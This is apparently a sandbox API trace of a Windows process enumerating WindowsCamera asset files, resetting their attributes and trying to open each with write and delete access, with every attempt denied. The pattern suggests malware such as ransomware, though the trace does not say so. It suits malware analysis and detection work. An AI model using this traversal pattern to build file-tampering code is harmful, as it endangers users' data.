	[0090.321] wcscat (in: _Dest=0x2e34470, _Source="WindowsCameraMedTile.contrast-white_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-white_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-white_scale-125.png"
	[0090.321] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameramedtile.contrast-white_scale-125.png")) returned 0x20
	[0090.323] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.323] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameramedtile.contrast-white_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.323] GetLastError () returned 0x5
	[0090.323] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.323] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34470) returned 1
	[0090.323] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924fb963, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924fb963, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924fb963, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraMedTile.scale-125.png", cAlternateFileName="")) returned 1
	[0090.323] wcscmp (_String1="WindowsCameraMedTile.scale-125.png", _String2=".") returned 1
	[0090.324] wcscmp (_String1="WindowsCameraMedTile.scale-125.png", _String2="..") returned 1
	[0090.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x140) returned 0x2d88518
	[0090.324] wcscpy (in: _Dest=0x2d88518, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.324] wcscat (in: _Dest=0x2d88518, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.324] wcscat (in: _Dest=0x2d88518, _Source="WindowsCameraMedTile.scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.scale-125.png"
	[0090.324] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameramedtile.scale-125.png")) returned 0x20
	[0090.324] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.324] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameramedtile.scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.324] GetLastError () returned 0x5
	[0090.324] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88518) returned 1
	[0090.324] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924fb963, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924fb963, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924fb963, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x14b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraSmallTile.contrast-black_scale-125.png", cAlternateFileName="")) returned 1
	[0090.324] wcscmp (_String1="WindowsCameraSmallTile.contrast-black_scale-125.png", _String2=".") returned 1
	[0090.324] wcscmp (_String1="WindowsCameraSmallTile.contrast-black_scale-125.png", _String2="..") returned 1
	[0090.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x162) returned 0x2d88518
	[0090.324] wcscpy (in: _Dest=0x2d88518, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.324] wcscat (in: _Dest=0x2d88518, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.324] wcscat (in: _Dest=0x2d88518, _Source="WindowsCameraSmallTile.contrast-black_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-black_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-black_scale-125.png"
	[0090.325] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasmalltile.contrast-black_scale-125.png")) returned 0x20
	[0090.327] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.327] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasmalltile.contrast-black_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.327] GetLastError () returned 0x5
	[0090.327] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88518) returned 1
	[0090.327] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924fb963, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924fb963, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924fb963, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraSmallTile.contrast-white_scale-125.png", cAlternateFileName="")) returned 1
	[0090.327] wcscmp (_String1="WindowsCameraSmallTile.contrast-white_scale-125.png", _String2=".") returned 1
	[0090.327] wcscmp (_String1="WindowsCameraSmallTile.contrast-white_scale-125.png", _String2="..") returned 1
	[0090.327] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x162) returned 0x2d88518
	[0090.327] wcscpy (in: _Dest=0x2d88518, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.327] wcscat (in: _Dest=0x2d88518, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.328] wcscat (in: _Dest=0x2d88518, _Source="WindowsCameraSmallTile.contrast-white_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-white_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-white_scale-125.png"
	[0090.328] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasmalltile.contrast-white_scale-125.png")) returned 0x20
	[0090.330] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.330] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasmalltile.contrast-white_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.330] GetLastError () returned 0x5
	[0090.330] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.330] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88518) returned 1
	[0090.330] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924fb963, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924fb963, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924fb963, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x14b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraSmallTile.scale-125.png", cAlternateFileName="")) returned 1
	[0090.330] wcscmp (_String1="WindowsCameraSmallTile.scale-125.png", _String2=".") returned 1
	[0090.330] wcscmp (_String1="WindowsCameraSmallTile.scale-125.png", _String2="..") returned 1
	[0090.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x144) returned 0x2d88518
	[0090.330] wcscpy (in: _Dest=0x2d88518, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.330] wcscat (in: _Dest=0x2d88518, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.330] wcscat (in: _Dest=0x2d88518, _Source="WindowsCameraSmallTile.scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.scale-125.png"
	[0090.330] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasmalltile.scale-125.png")) returned 0x20
	[0090.331] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.331] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasmalltile.scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.331] GetLastError () returned 0x5
	[0090.331] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88518) returned 1
	[0090.331] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x925228cf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92527807, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92527807, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraSplashScreen.contrast-black_scale-125.png", cAlternateFileName="")) returned 1
	[0090.331] wcscmp (_String1="WindowsCameraSplashScreen.contrast-black_scale-125.png", _String2=".") returned 1
	[0090.331] wcscmp (_String1="WindowsCameraSplashScreen.contrast-black_scale-125.png", _String2="..") returned 1
	[0090.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x2d88518
	[0090.331] wcscpy (in: _Dest=0x2d88518, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.331] wcscat (in: _Dest=0x2d88518, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.331] wcscat (in: _Dest=0x2d88518, _Source="WindowsCameraSplashScreen.contrast-black_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-black_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-black_scale-125.png"
	[0090.331] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasplashscreen.contrast-black_scale-125.png")) returned 0x20
	[0090.334] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.334] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasplashscreen.contrast-black_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.334] GetLastError () returned 0x5
	[0090.334] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.334] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88518) returned 1
	[0090.334] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x925289b3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x925289b3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x925289b3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraSplashScreen.contrast-white_scale-125.png", cAlternateFileName="")) returned 1
	[0090.334] wcscmp (_String1="WindowsCameraSplashScreen.contrast-white_scale-125.png", _String2=".") returned 1
	[0090.334] wcscmp (_String1="WindowsCameraSplashScreen.contrast-white_scale-125.png", _String2="..") returned 1
	[0090.334] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x2d88518
	[0090.334] wcscpy (in: _Dest=0x2d88518, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.334] wcscat (in: _Dest=0x2d88518, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.334] wcscat (in: _Dest=0x2d88518, _Source="WindowsCameraSplashScreen.contrast-white_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-white_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-white_scale-125.png"
	[0090.334] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasplashscreen.contrast-white_scale-125.png")) returned 0x20
	[0090.336] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.336] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasplashscreen.contrast-white_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.336] GetLastError () returned 0x5
	[0090.336] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.336] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88518) returned 1
	[0090.337] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x925289b3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x925289b3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x925289b3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraSplashScreen.scale-125.png", cAlternateFileName="")) returned 1
	[0090.337] wcscmp (_String1="WindowsCameraSplashScreen.scale-125.png", _String2=".") returned 1
	[0090.337] wcscmp (_String1="WindowsCameraSplashScreen.scale-125.png", _String2="..") returned 1
	[0090.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14a) returned 0x2d88518
